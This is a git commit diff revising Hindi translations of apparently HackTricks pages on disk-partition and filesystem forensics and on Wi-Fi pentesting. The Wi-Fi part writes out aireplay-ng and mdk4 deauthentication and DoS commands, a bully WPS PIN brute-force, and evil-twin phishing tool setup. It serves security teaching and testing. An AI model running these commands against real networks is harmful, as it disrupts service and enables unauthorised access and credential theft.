Translated ['src/generic-methodologies-and-resources/basic-forensic-meth

This commit is contained in:
Translator 2025-07-10 12:29:26 +00:00
parent d4ef32e12e
commit eb375d5553
14 changed files with 485 additions and 383 deletions

View File

@ -5,12 +5,12 @@
## Partitions
एक हार्ड ड्राइव या **SSD डिस्क में विभिन्न विभाजन हो सकते हैं** जिनका उद्देश्य डेटा को भौतिक रूप से अलग करना है।\
डिस्क की **न्यूनतम** इकाई **क्षेत्र** है (सामान्यतः 512B से बनी होती है)। इसलिए, प्रत्येक विभाजन का आकार उस आकार का गुणांक होना चाहिए।
डिस्क की **न्यूनतम** इकाई **सेक्टर** है (सामान्यतः 512B का बना होता है)। इसलिए, प्रत्येक विभाजन का आकार उस आकार का गुणांक होना चाहिए।
### MBR (मास्टर बूट रिकॉर्ड)
यह **446B बूट कोड के बाद डिस्क के पहले क्षेत्र में आवंटित** होता है। यह क्षेत्र पीसी को यह संकेत देने के लिए आवश्यक है कि एक विभाजन को क्या और कहाँ माउंट किया जाना चाहिए।\
यह **4 विभाजनों** तक की अनुमति देता है (अधिकतम **केवल 1** सक्रिय/**बूट करने योग्य** हो सकता है)। हालाँकि, यदि आपको अधिक विभाजन की आवश्यकता है, तो आप **विस्तारित विभाजन** का उपयोग कर सकते हैं। इस पहले क्षेत्र का **अंतिम बाइट** बूट रिकॉर्ड सिग्नेचर **0x55AA** है। केवल एक विभाजन को सक्रिय के रूप में चिह्नित किया जा सकता है।\
यह **446B बूट कोड के बाद डिस्क के पहले सेक्टर में आवंटित होता है**। यह सेक्टर PC को यह संकेत देने के लिए आवश्यक है कि एक विभाजन को क्या और कहाँ माउंट किया जाना चाहिए।\
यह **4 विभाजनों** तक की अनुमति देता है (अधिकतम **केवल 1** सक्रिय/**बूट करने योग्य** हो सकता है)। हालाँकि, यदि आपको अधिक विभाजनों की आवश्यकता है, तो आप **विस्तारित विभाजन** का उपयोग कर सकते हैं। इस पहले सेक्टर का **अंतिम बाइट** बूट रिकॉर्ड सिग्नेचर **0x55AA** है। केवल एक विभाजन को सक्रिय के रूप में चिह्नित किया जा सकता है।\
MBR **अधिकतम 2.2TB** की अनुमति देता है।
![](<../../../images/image (350).png>)
@ -38,14 +38,14 @@ MBR **अधिकतम 2.2TB** की अनुमति देता है
| --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | सक्रिय ध्वज (0x80 = बूट करने योग्य) |
| 1 (0x01) | 1 (0x01) | प्रारंभिक सिर |
| 2 (0x02) | 1 (0x01) | प्रारंभिक क्षेत्र (बिट 0-5); सिलेंडर के ऊपरी बिट (6- 7) |
| 2 (0x02) | 1 (0x01) | प्रारंभिक सेक्टर (बिट 0-5); सिलेंडर के ऊपरी बिट (6- 7) |
| 3 (0x03) | 1 (0x01) | प्रारंभिक सिलेंडर के सबसे कम 8 बिट |
| 4 (0x04) | 1 (0x01) | विभाजन प्रकार कोड (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | अंतिम सिर |
| 6 (0x06) | 1 (0x01) | अंतिम क्षेत्र (बिट 0-5); सिलेंडर के ऊपरी बिट (6- 7) |
| 6 (0x06) | 1 (0x01) | अंतिम सेक्टर (बिट 0-5); सिलेंडर के ऊपरी बिट (6- 7) |
| 7 (0x07) | 1 (0x01) | अंतिम सिलेंडर के सबसे कम 8 बिट |
| 8 (0x08) | 4 (0x04) | विभाजन से पहले के क्षेत्र (लिटिल एंडियन) |
| 12 (0x0C) | 4 (0x04) | विभाजन में क्षेत्र |
| 8 (0x08) | 4 (0x04) | विभाजन से पहले के सेक्टर (लिटिल एंडियन) |
| 12 (0x0C) | 4 (0x04) | विभाजन में सेक्टर |
Linux में MBR को माउंट करने के लिए आपको पहले प्रारंभिक ऑफसेट प्राप्त करने की आवश्यकता है (आप `fdisk` और `p` कमांड का उपयोग कर सकते हैं)
@ -64,9 +64,9 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
### GPT (GUID Partition Table)
GUID Partition Table, जिसे GPT के नाम से जाना जाता है, MBR (Master Boot Record) की तुलना में इसकी उन्नत क्षमताओं के लिए पसंद किया जाता है। विभाजन के लिए **वैश्विक अद्वितीय पहचानकर्ता** के लिए विशिष्ट, GPT कई तरीकों से अलग है:
GUID Partition Table, जिसे GPT के नाम से जाना जाता है, MBR (Master Boot Record) की तुलना में इसकी उन्नत क्षमताओं के लिए पसंद किया जाता है। विभाजनों के लिए इसके **वैश्विक अद्वितीय पहचानकर्ता** के लिए विशिष्ट, GPT कई तरीकों से अलग है:
- **स्थान और आकार**: GPT और MBR दोनों **सेक्टर 0** से शुरू होते हैं। हालाँकि, GPT **64बिट** पर कार्य करता है, जबकि MBR का 32बिट है।
- **स्थान और आकार**: GPT और MBR दोनों **सेक्टर 0** से शुरू होते हैं। हालाँकि, GPT **64बिट** पर कार्य करता है, जबकि MBR का आकार 32बिट है।
- **विभाजन सीमाएँ**: GPT Windows सिस्टम पर **128 विभाजनों** तक का समर्थन करता है और **9.4ZB** डेटा को समायोजित करता है।
- **विभाजन नाम**: विभाजनों को 36 Unicode वर्णों तक नाम देने की क्षमता प्रदान करता है।
@ -77,7 +77,7 @@ GUID Partition Table, जिसे GPT के नाम से जाना ज
**सुरक्षात्मक MBR (LBA0)**:
- GPT एक सुरक्षात्मक MBR के माध्यम से पीछे की संगतता बनाए रखता है। यह सुविधा विरासत MBR स्थान में स्थित है लेकिन इसे पुराने MBR-आधारित उपयोगिताओं को गलती से GPT डिस्क को अधिलेखित करने से रोकने के लिए डिज़ाइन किया गया है, इस प्रकार GPT-फॉर्मेटेड डिस्क पर डेटा की अखंडता की रक्षा करता है।
- GPT एक सुरक्षात्मक MBR के माध्यम से पीछे की संगतता बनाए रखता है। यह सुविधा विरासत MBR स्थान में स्थित है लेकिन इसे पुराने MBR-आधारित उपयोगिताओं को गलती से GPT डिस्क को ओवरराइट करने से रोकने के लिए डिज़ाइन किया गया है, इस प्रकार GPT-फॉर्मेटेड डिस्क पर डेटा की अखंडता की रक्षा करता है।
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>)
@ -91,11 +91,11 @@ GUID Partition Table, जिसे GPT के नाम से जाना ज
[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
विभाजन तालिका शीर्षक डिस्क पर उपयोग ब्लॉकों को परिभाषित करता है। यह विभाजन तालिका (तालिका में ऑफसेट 80 और 84) का निर्माण करने वाले विभाजन प्रविष्टियों की संख्या और आकार को भी परिभाषित करता है।
विभाजन तालिका शीर्षक डिस्क पर उपयोग किए जाने वाले ब्लॉकों को परिभाषित करता है। यह विभाजन तालिका (तालिका में ऑफसेट 80 और 84) का निर्माण करने वाले विभाजन प्रविष्टियों की संख्या और आकार को भी परिभाषित करता है।
| Offset | Length | Contents |
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)on little-endian machines) |
| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)on little-endian machines) |
| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 |
| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) |
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation |
@ -135,7 +135,7 @@ More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](htt
![](<../../../images/image (354).png>)
यदि यह **MBR के बजाय एक GPT तालिका** होती, तो इसे **सेक्टर 1** में _EFI PART_ का हस्ताक्षर दिखाई देना चाहिए (जो पिछले छवि में खाली है)।
यदि यह **MBR के बजाय एक GPT तालिका** होती, तो इसे **सेक्टर 1** में _EFI PART_ का संकेत दिखाई देना चाहिए (जो पिछले छवि में खाली है)।
## फ़ाइल-प्रणालियाँ
@ -149,22 +149,22 @@ More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](htt
### FAT
**FAT (File Allocation Table)** फ़ाइल प्रणाली अपने मुख्य घटक, फ़ाइल आवंटन तालिका के चारों ओर डिज़ाइन की गई है, जो वॉल्यूम की शुरुआत में स्थित है। यह प्रणाली डेटा की सुरक्षा करती है **दो प्रतियों** को बनाए रखकर, यह सुनिश्चित करती है कि यदि एक भ्रष्ट हो जाए तो भी डेटा की अखंडता बनी रहे। तालिका, साथ ही रूट फ़ोल्डर, एक **स्थिर स्थान** में होनी चाहिए, जो प्रणाली के स्टार्टअप प्रक्रिया के लिए महत्वपूर्ण है।
**FAT (File Allocation Table)** फ़ाइल प्रणाली अपने मुख्य घटक, फ़ाइल आवंटन तालिका के चारों ओर डिज़ाइन की गई है, जो वॉल्यूम की शुरुआत में स्थित है। यह प्रणाली डेटा क**दो प्रतियों** के साथ बनाए रखकर डेटा की अखंडता की रक्षा करती है, यह सुनिश्चित करती है कि यदि एक भ्रष्ट हो जाए तो भी डेटा सुरक्षित रहे। तालिका, साथ ही रूट फ़ोल्डर, एक **स्थिर स्थान** में होनी चाहिए, जो प्रणाली के स्टार्टअप प्रक्रिया के लिए महत्वपूर्ण है।
फ़ाइल प्रणाली की मूल भंडारण इकाई एक **क्लस्टर, आमतौर पर 512B** है, जिसमें कई सेक्टर शामिल होते हैं। FAT ने संस्करणों के माध्यम से विकस किया है:
फ़ाइल प्रणाली की मूल भंडारण इकाई एक **क्लस्टर, आमतौर पर 512B** है, जिसमें कई सेक्टर शामिल होते हैं। FAT ने संस्करणों के माध्यम से विकसित किया है:
- **FAT12**, 12-बिट क्लस्टर पते का समर्थन करता है और 4078 क्लस्टर (4084 UNIX के साथ) को संभालता है।
- **FAT16**, 16-बिट पते में सुधार करता है, जिससे 65,517 क्लस्टर तक का समर्थन होता है।
- **FAT32**, 32-बिट पते के साथ आगे बढ़ता है, जिससे प्रति वॉल्यूम 268,435,456 क्लस्टर की प्रभावशाली संख्या की अनुमति मिलती है।
FAT संस्करणों में एक महत्वपूर्ण सीमा **4GB अधिकतम फ़ाइल आकार** है, जो फ़ाइल आकार भंडारण के लिए उपयोग किए गए 32-बिट क्षेत्र द्वारा निर्धारित है।
FAT संस्करणों में एक महत्वपूर्ण सीमा **4GB अधिकतम फ़ाइल आकार** है, जो फ़ाइल आकार भंडारण के लिए उपयोग किए जाने वाले 32-बिट क्षेत्र द्वारा निर्धारित की गई है।
FAT12 और FAT16 के लिए रूट निर्देशिका के प्रमुख घटक हैं:
FAT12 और FAT16 के लिए रूट निर्देशिका के प्रमुख घटकों में शामिल हैं:
- **फ़ाइल/फ़ोल्डर नाम** (8 वर्णों तक)
- **गुण**
- **निर्माण, संशोधन, और अंतिम पहुँच तिथियाँ**
- **FAT तालिका पता** (फ़ाइल के प्रारंभ क्लस्टर को इंगित करता है)
- **FAT तालिका पता** (फ़ाइल के प्रारंभिक क्लस्टर को इंगित करता है)
- **फ़ाइल आकार**
### EXT
@ -189,7 +189,7 @@ FAT12 और FAT16 के लिए रूट निर्देशिका क
### लॉग की गई हटाई गई फ़ाइलें
जैसा कि पहले देखा गया है, कई स्थान हैं जहाँ फ़ाइल "हटाई गई" होने के बाद भी अभी भी सहेजी गई है। इसका कारण यह है कि आमतौर पर फ़ाइल सिस्टम से फ़ाइल को हटाने से इसे केवल हटाए गए के रूप में चिह्नित किया जाता है लेकिन डेटा को छुआ नहीं जाता। फिर, फ़ाइलों के रजिस्ट्रियों (जैसे MFT) का निरीक्षण करना और हटाई गई फ़ाइलों को खोजना संभव है।
जैसा कि पहले देखा गया था, कई स्थान हैं जहाँ फ़ाइल "हटाई गई" के बाद भी अभी भी सहेजी गई है। इसका कारण यह है कि आमतौर पर फ़ाइल सिस्टम से फ़ाइल को हटाने से इसे केवल हटाए गए के रूप में चिह्नित किया जाता है लेकिन डेटा को छुआ नहीं जाता है। फिर, फ़ाइलों के रजिस्ट्रियों (जैसे MFT) की जांच करना संभव है और हटाई गई फ़ाइलों को ढूंढना संभव है।
इसके अलावा, OS आमतौर पर फ़ाइल सिस्टम परिवर्तनों और बैकअप के बारे में बहुत सारी जानकारी सहेजता है, इसलिए फ़ाइल को पुनर्प्राप्त करने या यथासंभव अधिक जानकारी प्राप्त करने के लिए उनका उपयोग करने का प्रयास करना संभव है।
@ -199,11 +199,11 @@ file-data-carving-recovery-tools.md
### **फ़ाइल कार्विंग**
**फ़ाइल कार्विंग** एक तकनीक है जो **डेटा के बड़े हिस्से में फ़ाइलों को खोजने की कोशिश करती है**। इस तरह के उपकरणों के काम करने के 3 मुख्य तरीके हैं: **फ़ाइल प्रकार के शीर्षकों और फुटर्स के आधार पर**, फ़ाइल प्रकार की **संरचनाओं** के आधार पर और **सामग्री** के आधार पर।
**फ़ाइल कार्विंग** एक तकनीक है जो **डेटा के बड़े हिस्से में फ़ाइलों को खोजने** का प्रयास करती है। इस तरह के उपकरणों के काम करने के 3 मुख्य तरीके हैं: **फ़ाइल प्रकार के हेडर और फुटर के आधार पर**, फ़ाइल प्रकार की **संरचनाओं** के आधार पर और **सामग्री** के आधार पर।
ध्यान दें कि यह तकनीक **खंडित फ़ाइलों को पुनर्प्राप्त करने के लिए काम नहीं करती**। यदि एक फ़ाइल **सन्निहित सेक्टरों में संग्रहीत नहीं है**, तो यह तकनीक इसे या कम से कम इसके एक भाग को खोजने में असमर्थ होगी।
ध्यान दें कि यह तकनीक **खंडित फ़ाइलों को पुनर्प्राप्त करने** के लिए काम नहीं करती है। यदि एक फ़ाइल **सन्निहित सेक्टरों में संग्रहीत नहीं है**, तो यह तकनीक इसे या कम से कम इसके एक भाग को खोजने में असमर्थ होगी।
आप फ़ाइल कार्विंग के लिए कई उपकरणों का उपयोग कर सकते हैं जो आप जिन फ़ाइल प्रकारों को खोजने के लिए संकेत देते हैं।
आप फ़ाइल कार्विंग के लिए कई उपकरणों का उपयोग कर सकते हैं जो आप जिन फ़ाइल प्रकारों के लिए खोज करना चाहते हैं, उन्हें इंगित करते हैं।
{{#ref}}
file-data-carving-recovery-tools.md
@ -211,7 +211,7 @@ file-data-carving-recovery-tools.md
### डेटा स्ट्रीम **C**arving
डेटा स्ट्रीम कार्विंग फ़ाइल कार्विंग के समान है लेकिन **पूर्ण फ़ाइलों की तलाश करने के बजाय, यह जानकारी के दिलचस्प टुकड़ों की तलाश करता है**\
डेटा स्ट्रीम कार्विंग फ़ाइल कार्विंग के समान है लेकिन **पूर्ण फ़ाइलों की तलाश करने के बजाय, यह जानकारी के दिलचस्प टुकड़ों की तलाश करता है**\
उदाहरण के लिए, लॉग की गई URL को शामिल करने वाली एक पूर्ण फ़ाइल की तलाश करने के बजाय, यह तकनीक URL की खोज करेगी।
{{#ref}}
@ -220,8 +220,8 @@ file-data-carving-recovery-tools.md
### सुरक्षित हटाना
स्पष्ट रूप से, फ़ाइलों और उनके बारे में लॉग के एक भाग को **"सुरक्षित" हटाने** के तरीके हैं। उदाहरण के लिए, एक फ़ाइल की सामग्री को कई बार बेकार डेटा के साथ **ओवरराइट** करना संभव है, और फिर फ़ाइल के बारे में **$MFT** और **$LOGFILE** से **लॉग** को **हटाना**, और **वॉल्यूम शैडो कॉपीज़** को **हटाना**।\
आप देख सकते हैं कि इस क्रिया को करने पर भी फ़ाइल के अस्तित्व को लॉग करने के लिए **अन्य भाग हो सकते हैं**, और यह सच है और फॉरेंसिक पेशेवर का काम उन्हें खोजना है।
स्पष्ट रूप से, फ़ाइलों और उनके बारे में लॉग के कुछ हिस्सों को **"सुरक्षित" हटाने** के तरीके हैं। उदाहरण के लिए, एक फ़ाइल की सामग्री को कई बार बकवास डेटा के साथ **ओवरराइट** करना संभव है, और फिर फ़ाइल के बारे में **$MFT** और **$LOGFILE** से **लॉग** को **हटाना**, और **वॉल्यूम शैडो कॉपीज़** को **हटाना**।\
आप देख सकते हैं कि इस क्रिया को करने के बावजूद, फ़ाइल के अस्तित्व को अभी भी **अन्य भागों में लॉग किया गया है**, और यह सच है और फॉरेंसिक पेशेवर का काम उन्हें खोजना है।
## संदर्भ

View File

@ -24,7 +24,7 @@ iwlist wlan0 scan #Scan available wifis
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
```
### Airgeddon
### एयरगेडन
```bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
@ -45,7 +45,7 @@ v1s1t0r1sh3r3/airgeddon
```
### wifiphisher
यह Evil Twin, KARMA, और Known Beacons हमले कर सकता है और फिर एक फ़िशिंग टेम्पलेट का उपयोग करके नेटवर्क का असली पासवर्ड प्राप्त करने या सोशल नेटवर्क क्रेडेंशियल्स कैप्चर करने में सक्षम होता है।
यह Evil Twin, KARMA, और Known Beacons हमले कर सकता है और फिर नेटवर्क का असली पासवर्ड प्राप्त करने या सोशल नेटवर्क क्रेडेंशियल्स कैप्चर करने के लिए एक फ़िशिंग टेम्पलेट का उपयोग कर सकता है।
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
@ -61,13 +61,13 @@ sudo python setup.py install # Install any dependencies
- यदि WPA-PSK
- यदि WPS: पिक्सी डस्ट हमला और ब्रूटफोर्स हमला (सावधान रहें, ब्रूट-फोर्स हमला लंबा समय ले सकता है)। ध्यान दें कि यह शून्य PIN या डेटाबेस/जनरेटेड PINs का प्रयास नहीं करता है।
- इसे क्रैक करने के लिए AP से PMKID कैप्चर करने का प्रयास करें
- एक हैंडशेक कैप्चर करने के लिए AP के क्लाइंट को डिथेंटिकेट करने का प्रयास करें
- एक हैंडशेक कैप्चर करने के लिए AP के क्लाइंट को डिथेंटिकेट करने का प्रयास करें
- यदि PMKID या हैंडशेक, तो शीर्ष 5000 पासवर्ड का उपयोग करके ब्रूटफोर्स करने का प्रयास करें।
## हमलों का सारांश
- **DoS**
- डिथेंटिकेशन/डिसएसोसिएशन -- सभी को डिस्कनेक्ट करें (या एक विशिष्ट ESSID/क्लाइंट)
- डिथेंटिकेशन/डिसएसोसिएशन -- सभी को डिस्कनेक्ट करें (या एक विशिष्ट ESSID/क्लाइंट)
- यादृच्छिक नकली APs -- नेटवर्क छिपाएं, संभावित स्कैनर्स को क्रैश करें
- AP को ओवरलोड करें -- AP को मारने का प्रयास करें (आमतौर पर बहुत उपयोगी नहीं)
- WIDS -- IDS के साथ खेलें
@ -79,37 +79,37 @@ sudo python setup.py install # Install any dependencies
- **WPA PMKID** ब्रूटफोर्स
- \[DoS +] **WPA हैंडशेक** कैप्चर + क्रैकिंग
- **WPA-MGT**
- **यूजरनेम कैप्चर**
- **यूजरनेम कैप्चर**
- **ब्रूटफोर्स** क्रेडेंशियल्स
- **ईविल ट्विन** (DoS के साथ या बिना)
- **ओपन** ईविल ट्विन \[+ DoS] -- कैप्टिव पोर्टल क्रेड्स कैप्चर करने और/या LAN हमले करने के लिए उपयोगी
- **WPA-PSK** ईविल ट्विन -- यदि आप पासवर्ड जानते हैं तो नेटवर्क हमलों के लिए उपयोगी
- **WPA-MGT** -- कंपनी के क्रेडेंशियल्स कैप्चर करने के लिए उपयोगी
- **KARMA, MANA**, **लाउड MANA**, **जाने-माने बीकन**
- **KARMA, MANA**, **लाउड MANA**, **ज्ञात बीकन**
- **+ ओपन** -- कैप्टिव पोर्टल क्रेड्स कैप्चर करने और/या LAN हमले करने के लिए उपयोगी
- **+ WPA** -- WPA हैंडशेक कैप्चर करने के लिए उपयोगी
## DOS
### डिथेंटिकेशन पैकेट्स
### डिथेंटिकेशन पैकेट्स
**यहाँ से** [**विवरण**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**विवरण** [**यहां**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**डिथेंटिकेशन** हमले, Wi-Fi हैकिंग में एक सामान्य विधि, "प्रबंधन" फ़्रेमों को जाली बनाने में शामिल होते हैं ताकि **डिवाइस को नेटवर्क से बलात्कारी रूप से डिस्कनेक्ट किया जा सके**। ये अनएन्क्रिप्टेड पैकेट क्लाइंट्स को यह विश्वास दिलाते हैं कि वे वैध नेटवर्क से हैं, जिससे हमलावरों को WPA हैंडशेक एकत्र करने या नेटवर्क कनेक्शनों को लगातार बाधित करने की अनुमति मिलती है। यह रणनीति, अपनी सरलता में चौंकाने वाली, व्यापक रूप से उपयोग की जाती है और नेटवर्क सुरक्षा के लिए महत्वपूर्ण प्रभाव डालती है।
**डिथेंटिकेशन** हमले, Wi-Fi हैकिंग में एक सामान्य विधि, "प्रबंधन" फ़्रेमों को जाली बनाने में शामिल होते हैं ताकि **डिवाइस को नेटवर्क से बलात्कारी रूप से डिस्कनेक्ट किया जा सके**। ये अनएन्क्रिप्टेड पैकेट क्लाइंट्स को यह विश्वास दिलाते हैं कि वे वैध नेटवर्क से हैं, जिससे हमलावरों को WPA हैंडशेक एकत्र करने या नेटवर्क कनेक्शनों को लगातार बाधित करने की अनुमति मिलती है। यह रणनीति, अपनी सरलता में चिंताजनक, व्यापक रूप से उपयोग की जाती है और नेटवर्क सुरक्षा के लिए महत्वपूर्ण निहितार्थ है।
**Aireplay-ng का उपयोग करके डिथेंटिकेशन**
**Aireplay-ng का उपयोग करके डिथेंटिकेशन**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
- -0 का मतलब है डिथेंटिकेशन
- 1 डिथ्स की संख्या है जो भेजी जानी है (आप चाहें तो कई भेज सकते हैं); 0 का मतलब है कि उन्हें लगातार भेजें
- -0 का मतलब है डिथेंटिकेशन
- 1 डिथ्स की संख्या है जो भेजी जानी है (आप चाहें तो कई भेज सकते हैं); 0 का मतलब है कि उन्हें लगातार भेजें
- -a 00:14:6C:7E:40:80 एक्सेस पॉइंट का MAC पता है
- -c 00:0F:B5:34:30:30 क्लाइंट का MAC पता है जिसे डिथेंटिकेट करना है; यदि इसे छोड़ दिया जाए तो ब्रॉडकास्ट डिथेंटिकेशन भेजा जाता है (हमेशा काम नहीं करता)
- -c 00:0F:B5:34:30:30 क्लाइंट का MAC पता है जिसे डिथेंटिकेट करना है; यदि इसे छोड़ दिया जाए तो ब्रॉडकास्ट डिथेंटिकेशन भेजा जाता है (हमेशा काम नहीं करता)
- ath0 इंटरफेस का नाम है
### डिसएसोसिएशन पैकेट्स
**डिसएसोसिएशन पैकेट्स**, डिथेंटिकेशन पैकेट्स के समान, Wi-Fi नेटवर्क में उपयोग किए जाने वाले प्रबंधन फ्रेम का एक प्रकार हैं। ये पैकेट एक डिवाइस (जैसे लैपटॉप या स्मार्टफोन) और एक एक्सेस पॉइंट (AP) के बीच कनेक्शन को तोड़ने के लिए कार्य करते हैं। डिसएसोसिएशन और डिथेंटिकेशन के बीच मुख्य अंतर उनके उपयोग के परिदृश्यों में है। जबकि एक AP **नेटवर्क से बुरे डिवाइसों को स्पष्ट रूप से हटाने के लिए डिऑथेंटिकेशन पैकेट्स उत्सर्जित करता है, डिसएसोसिएशन पैकेट्स आमतौर पर तब भेजे जाते हैं जब AP बंद हो रहा है**, पुन प्रारंभ हो रहा है, या स्थानांतरित हो रहा है, जिससे सभी जुड़े नोड्स का डिस्कनेक्शन आवश्यक हो जाता है।
**डिसएसोसिएशन पैकेट्स**, डिथेंटिकेशन पैकेट्स के समान, Wi-Fi नेटवर्क में उपयोग किए जाने वाले प्रबंधन फ्रेम का एक प्रकार हैं। ये पैकेट एक डिवाइस (जैसे लैपटॉप या स्मार्टफोन) और एक एक्सेस पॉइंट (AP) के बीच कनेक्शन को तोड़ने के लिए कार्य करते हैं। डिसएसोसिएशन और डिथेंटिकेशन के बीच मुख्य अंतर उनके उपयोग के परिदृश्यों में है। जबकि एक AP **डिअथेंटिकेशन पैकेट्स को नेटवर्क से बुरे डिवाइस को स्पष्ट रूप से हटाने के लिए उत्सर्जित करता है, डिसएसोसिएशन पैकेट्स आमतौर पर तब भेजे जाते हैं जब AP बंद, पुनरारंभ या स्थानांतरित हो रहा होता ह**, जिससे सभी जुड़े नोड्स का डिस्कनेक्शन आवश्यक हो जाता है।
**यह हमला mdk4(mode "d") द्वारा किया जा सकता है:**
```bash
@ -146,11 +146,11 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**ATTACK MODE p: SSID Probing and Bruteforcing**
Access Points (APs) की जांच करना यह सुनिश्चित करता है कि SSID सही तरीके से प्रकट किया गया है और AP की रेंज की पुष्टि करता है। यह तकनीक, **छिपे हुए SSIDs** को शब्द सूची के साथ या बिना ब्रूटफोर्सिंग के साथ मिलाकर, छिपे हुए नेटवर्क की पहचान और पहुंच में मदद करती है।
Access Points (APs) की जांच करना यह सुनिश्चित करता है कि SSID सही तरीके से प्रकट हुआ है और AP की रेंज की पुष्टि करता है। यह तकनीक, **छिपे हुए SSIDs** को शब्द सूची के साथ या बिना ब्रूटफोर्स करने के साथ मिलकर, छिपे हुए नेटवर्क की पहचान और पहुंच में मदद करती है।
**ATTACK MODE m: Michael Countermeasures Exploitation**
विभिन्न QoS कतारों में यादृच्छिक या डुप्लिकेट पैकेट भेजने से **TKIP APs** पर माइकल काउंटरमेजर्स को सक्रिय किया जा सकता है, जिससे एक मिनट के लिए AP बंद हो जाता है। यह विधि एक प्रभावी **DoS** (Denial of Service) हमले की रणनीति है।
विभिन्न QoS कतारों में यादृच्छिक या डुप्लिकेट पैकेट भेजने से **TKIP APs** पर Michael Countermeasures को सक्रिय किया जा सकता है, जिससे एक मिनट के लिए AP बंद हो जाता है। यह विधि एक प्रभावी **DoS** (Denial of Service) हमले की रणनीति है।
```bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
@ -158,7 +158,7 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**ATTACK MODE e: EAPOL Start और Logoff Packet Injection**
एक AP को **EAPOL Start फ्रेम** के साथ बाढ़ में डालने से **फर्जी सत्र** बनते हैं, AP को ओवरलोड करते हैं और वैध क्लाइंट्स को ब्लॉक करते हैं। वैकल्पिक रूप से, **फर्जी EAPOL Logoff संदेश** इंजेक्ट करने से क्लाइंट्स को मजबूरन डिस्कनेक्ट किया जाता है, दोनों विधियाँ नेटवर्क सेवा को प्रभावी रूप से बाधित करती हैं।
एक AP को **EAPOL Start फ्रेम** के साथ बाढ़ देना **फर्जी सत्र** बनाता है, AP को ओवरलोड करता है और वैध क्लाइंट्स को ब्लॉक करता है। वैकल्पिक रूप से, **फर्जी EAPOL Logoff संदेश** इंजेक्ट करना क्लाइंट्स को मजबूरन डिस्कनेक्ट करता है, दोनों विधियाँ नेटवर्क सेवा को प्रभावी रूप से बाधित करती हैं।
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
@ -169,7 +169,7 @@ mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
**ATTACK MODE w: WIDS भ्रम**
क्लाइंट्स को कई WDS नोड्स या नकली रॉग APs से क्रॉस-कनेक्ट करना Intrusion Detection और Prevention Systems को प्रभावित कर सकता है, जिससे भ्रम और संभावित सिस्टम दुरुपयोग उत्पन्न होता है।
क्लाइंट्स को कई WDS नोड्स या फर्जी रॉग APs से क्रॉस-कनेक्ट करना Intrusion Detection और Prevention Systems को प्रभावित कर सकता है, जिससे भ्रम और संभावित सिस्टम दुरुपयोग उत्पन्न होता है।
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
@ -206,12 +206,12 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
यह परिष्कृत दृष्टिकोण ज्ञात कमजोरियों का उपयोग करके WPS PINs को लक्षित करता है:
1. **पूर्व-खोजे गए PINs**: उन विशिष्ट निर्माताओं से जुड़े ज्ञात PINs का एक डेटाबेस उपयोग करें जो समान WPS PINs का उपयोग करते हैं। यह डेटाबेस MAC-पते के पहले तीन ऑक्टेट्स को इन निर्माताओं के संभावित PINs के साथ सहसंबंधित करता है।
2. **PIN जनरेशन एल्गोरिदम**: ComputePIN और EasyBox जैसे एल्गोरिदम का लाभ उठाएं, जो AP के MAC-पते के आधार पर WPS PINs की गणना करते हैं। Arcadyan एल्गोरिदम को अतिरिक्त रूप से एक डिवाइस ID की आवश्यकता होती है, जो PIN जनरेशन प्रक्रिया में एक परत जोड़त है।
1. **पूर्व-खोजी गई PINs**: विशिष्ट निर्माताओं से जुड़े ज्ञात PINs का एक डेटाबेस उपयोग करें जो समान WPS PINs का उपयोग करते हैं। यह डेटाबेस MAC-पते के पहले तीन ऑक्टेट्स को इन निर्माताओं के लिए संभावित PINs के साथ सहसंबंधित करता है।
2. **PIN जनरेशन एल्गोरिदम**: ComputePIN और EasyBox जैसे एल्गोरिदम का लाभ उठाएं, जो AP के MAC-पते के आधार पर WPS PINs की गणना करते हैं। Arcadyan एल्गोरिदम को अतिरिक्त रूप से एक डिवाइस ID की आवश्यकता होती है, जो PIN जनरेशन प्रक्रिया में एक परत जोड़त है।
### WPS पिक्सी डस्ट हमला
